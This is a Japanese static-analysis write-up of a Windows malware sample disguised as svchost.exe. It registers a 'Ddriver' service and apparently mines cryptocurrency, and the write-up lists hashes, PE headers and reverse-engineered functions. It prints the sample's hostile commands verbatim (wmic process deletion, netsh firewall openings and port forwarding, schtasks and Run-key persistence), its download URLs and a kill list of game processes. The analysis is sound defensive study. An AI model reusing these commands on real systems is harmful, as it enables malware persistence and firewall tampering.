# C:\Windows\SysWOW64\Drivers\svchost.exe (Ddriver) ###### tags: `MAIR` 32-bitの場合は`C:\Windows\System32\drivers\svchost.exe` ## 基本情報 ### ハッシュ値 ``` $ pehash svchost.exe.malware file filepath: svchost.exe.malware md5: 59b18d6146a2aa066f661599c496090d sha1: 48a3046381a963a2471875ef67886e35b90e8541 sha256: bdbfa96d17c2f06f68b3bcc84568cf445915e194f130b0dc2411805cf889b6cc ssdeep: 6144:fjuMu1mF3HxzOSxkQkEQww02gvgsjAeZFGiz:7qmFtOS+2Qc2gnTGs imphash: 9eeb9b4985a9b891dff43e1865e46474 ``` ### PEヘッダ ``` $ readpe --header optional svchost.exe.malware Optional/Image header Magic number: 0x10b (PE32) Linker major version: 6 Linker minor version: 0 Size of .text section: 0 Size of .data section: 0x30800 Size of .bss section: 0x1c00 Entrypoint: 0x15c4a Address of .text section: 0x1000 Address of .data section: 0x1000 ImageBase: 0x400000 Alignment of sections: 0x1000 Alignment factor: 0x200 Major version of required OS: 4 Minor version of required OS: 0 Major version of image: 0 Minor version of image: 0 Major version of subsystem: 4 Minor version of subsystem: 0 Size of image: 0x35000 Size of headers: 0x400 Checksum: 0x323c4 Subsystem required: 0x2 (IMAGE_SUBSYSTEM_WINDOWS_GUI) DLL characteristics: 0 DLL characteristics names Size of stack to reserve: 0x100000 Size of stack to commit: 0x1000 Size of heap space to reserve: 0x100000 Size of heap space to commit: 0x1000 ``` ## 静的解析結果 関数名は適宜付けたものなので適当です。IDBを見てください。 ### 主要処理 #### TLS_init (sub_414dbf) TLSで外部に情報を流出しているようなしていないような。 #### WinMain サービスDdriverとしてServiceMainを開始する。同時にMainThreadを呼ぶ。 #### ServiceMain サービスハンドラを登録してスレッドServiceMainThreadを作る。 #### ServiceMainThread ここに悪いやつが凝縮されてると思われ。 - 最初にsub_40cc10とsub_40cc60を大量に呼び出してるの何これ? - 64ビットならSysWOW64, 32ビットならSystemディレクトリ以下のdriversフォルダにtaskmgr.exeとsvchost.mlzを作成する。(create_taskmgr, create_svchost_mlz) - Thread1, Thread2, Thread3, Thread4を実行するスレッドをそれぞれ作成。 - MlzMinerMainを起動。引数14個あって笑う。 #### malicious_tlsobj (sub_40d070) URL作ってるけど使われてなくね? #### create_taskmgr (sub_40d350) リソースからtaskmgr.exeを引っ張って指定したパスに保存する。 #### create_svchost_mlz (sub_40b460) リソースからsvchost.mlzを引っ張って指定したパスに保存する。 #### Thread1 (process killer 1) 起動中のすべてのプロセスについて、パスが`C:\windows\temp\svchost.exe`でなく、かつ ``` taskmgr.exe|crossfire.exe|war3.exe|metor.exe|KartRider.exe|ra2.exe|wow.exe|wow-64.exe|xy3launch.exe|cstrike.exe|gta-vc.exe|crossfire.exe|MIR2.exe|mir3.exe|JX3Client.exe|cstrike-online.exe|qqfo.exe|DNFchina.exe|xypqlayer.exe|palonline.exe|digimon.exe|DNF.exe|FF2Client.exe|LolClient.exe|KartRider.exe|dota.exe|dota2.exe|TslGame.exe ``` に含まれていれば(かつtaskmgr.exeでなければ??)プロセスを殺す。 なお、パスが`C:\windows\temp\svchost.exe`なら`dead_flag`を1にする。 #### Thread2 `drivers\taskmgr.exe`でmutexを開く。"tihs yloh si ti"でmutexを開く。 `taskmgr.exe`が死んでいたら作成して起動する。 `svchost.exe`が死んでいたら起動する。 #### Thread3 (process killer 2) 以下のコマンドを27.1秒ごとに実行。 ``` cmd /c wmic process where "name='taskmgr.exe' and executablepath<>'%%SystemDrive%%\\windows\\system32\\taskmgr.exe' and executablepath<>'%%SystemDrive%%\\windows\\syswow64\\taskmgr.exe' and executablepath<>'%%SystemDrive%%\\windows\\system32\\drivers\\taskmgr.exe' and executablepath<>'%%SystemDrive%%\\windows\\syswow64\\drivers\\taskmgr.exe'" delete & wmic process where "name='svchost.exe' and executablepath<>'%%SystemDrive%%\\windows\\system32\\svchost.exe' and executablepath<>'%%SystemDrive%%\\windows\\syswow64\\svchost.exe' and executablepath<>'%%SystemDrive%%\\windows\\system32\\drivers\\svchost.exe' and executablepath<>'%%SystemDrive%%\\windows\\syswow64\\drivers\\svchost.exe' and executablepath<>'%%SystemDrive%%\\windows\\temp\\svchost.exe'" delete & wmic process where "name='explorer.exe' and executablepath<>'%%SystemDrive%%\\windows\\explorer.exe' and executablepath<>'c:\\explorer.exe'" delete & wmic process where "name='spoolsv.exe' and executablepath<>'%%SystemDrive%%\\windows\\system32\\spoolsv.exe' and executablepath<>'%%SystemDrive%%\\windows\\syswow64\\spoolsv.exe'" delete & wmic process where "name='conhost.exe' and executablepath<>'%%SystemDrive%%\\windows\\system32\\conhost.exe' and executablepath<>'%%SystemDrive%%\\windows\\syswow64\\conhost.exe'" delete & wmic process where "name='csrss.exe' and executablepath<>'%%SystemDrive%%\\windows\\system32\\csrss.exe' and executablepath<>'%%SystemDrive%%\\windows\\syswow64\\csrss.exe'" delete & wmic process where "name='services.exe' and executablepath<>'%%SystemDrive%%\\windows\\system32\\services.exe' and executablepath<>'%%SystemDrive%%\\windows\\syswow64\\services.exe'" delete & wmic process where "name='msdtc.exe' and executablepath<>'%%SystemDrive%%\\windows\\system32\\msdtc.exe' and executablepath<>'%%SystemDrive%%\\windows\\syswow64\\msdtc.exe'" delete ``` #### Thread4 ひたすらソケットを消費している???winsock2は関数名つかないので処理がよく分からん。 #### MainThread ここはサービス登録と自動起動設定、起動をするだけ。あと事前に複数のコマンドを実行する。 - run_initial_commandsを呼び出す - SC_MANAGER_ALL_ACCESSでSCMデータベースを開く。(OpenSCManager) - 32ビットならGetSystemDirectoryで得られるディレクトリ、64ビットなら`C:\windows\SysWOW64`以下のdriversフォルダにあるsvchost.exeをパスとして、サービス「Ddriver」を登録する。失敗したらscコマンドを使ってサービスの登録を試みる。 - 自動起動するように設定を変更する。失敗したらscコマンドを使って自動起動設定を試みる。 - net startおよびStartServiceでサービスを起動する。 - QueryServiceStatusでSERVICE_START_PENDING以外の状態になったらMainThreadを終了する。 #### extract_and_exec_ttt (sub_40d280) `C:\windows\temp\ttt.exe`を生成し、FindResourceで引っ張ってきたリソースのデータを書き込んでWinExecで起動する。 #### extract_resource (sub_412cd0) たぶんリソースを引っ張ってくる。 #### run_initial_commands (sub_40e3d0) 自身のファイル名に`svhost.exe`も`svchost.exe`も含まれないとき、以下の処理を実行する。 - `cmd /c taskkill /f /im svhost.exe /im svhhost.exe /im svvhost.exe & move /y c:\windows\temp\svvhost.exe c:\windows\temp\svchost.exe & del c:\windows\system32\svhhost.exe & del c:\windows\syswow64\svhhost.exe`を実行 - `cmd /c wmic process where "name='svhost.exe' or name='svhhost.exe' or name='svvhost.exe'" delete`を実行 - `cmd /c wmic process where "ExecutablePath like '%%drivers%%' and name='taskmgr.exe'" delete & wmic process where "ExecutablePath like '%%drivers%%' and name='svchost.exe'" delete & wmic process where "ExecutablePath like '%%emp%%' and name='svchost.exe'" delete`を実行 - `cmd /c netsh interface ipv6 install&netsh firewall add portopening tcp 65532 UDP&netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53&netsh firewall add portopening tcp 65531 UDP2&netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53&netsh firewall add portopening tcp 65533 ShareService`を実行 - `C:\windows\system32\svhost.exe`と`svchost.exe`のファイル属性を変更 - `cmd /c copy /y <自身のパス> C:\windows\system32\svhost.exe & move /y <自身のパス> <C:\windows\SysWOW64\drivers\svchost.exe>`を実行 - `cmd /c start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&(schtasks /delete /TN Ddrivers /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Ddrivers /tr "cmd.exe /c <C:\windows\SysWOW64\drivers\svchost.exe>"&schtasks /run /TN Ddrivers)`を実行 - `HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Ddriver`にパス(drivers\svchost.exe)を登録 - `HKCM\Software\Microsoft\Windows\CurrentVersion\Run\Ddriver`にパスを登録 #### MlzMinerMain (sub_40b580) たぶんマイニング関連かなーみたいな。mlzを復号していると思われ。 ### 雑多処理 #### my_strstr (sub_4155a0) 第一引数の文字列に第二引数の文字列が含まれていた場合そのポインタを返す。(たぶん) 【追記】なんか正規表現っぽいのに対応してる気がする #### my_sprintf sub_416c16が意味不明。~~たぶんsprintfかmemcpy的な何かをしてるんだと思う。~~ sprintfで間違いなさそう。 #### my_exec_unk (sub_40efd0) 指定したコマンドを実行するんだろうけどpipe作ったり謎処理もある。 #### get_cpu_bit (sub_4084f0) CPUのビット数を文字列で取得しているような気がする気がする。 #### create_holyshit_mutex (sub_4084c0) "it is holy shit"という名前でmutexを作る。 #### my_exit (sub_414dec), suicide (sub_414e0e) 自身をkillする。 #### get_system_version (sub_408660) Windowsのバージョンを取得してるっぽい。 #### get_process_path (sub_408760) プロセスからファイルパスを返す関数。 #### my_strcmp (sub_41d7b0) ちゃんと読んでないけどstrcmpっぽい(たぶん) #### kill_process (sub_40d5f0) 指定したThreadIdのプロセスを殺す。 #### my_exec (sub_408730) プロセスを起動する+α #### get_computer_info (sub_409630) ユーザー名、GUID、MACなどマシンの情報を取得し、クエリ文字列にする。 #### calc_md5digesst (sub_40a230) 指定したファイルのMD5を取る。 ### 変数 #### svchost_dead_flag (unk_401064) `C:\windows\temp\svchost.exe`が死んでいたら0が入る。Thread1とThread2で共有。 #### taskmgr_dead_flag (unk_401060) `taskmgr.exe`が死んでいたら0が入る。Thread1とThread2で共有。 #### url1 (unk_401034) `http://i.haqo.net/i.png` #### url2 (unk_401044) `http://p.abbny.com/im.png` #### url3 (unk_401054) `http://o.beahh.com/i.png` ### 全体の流れ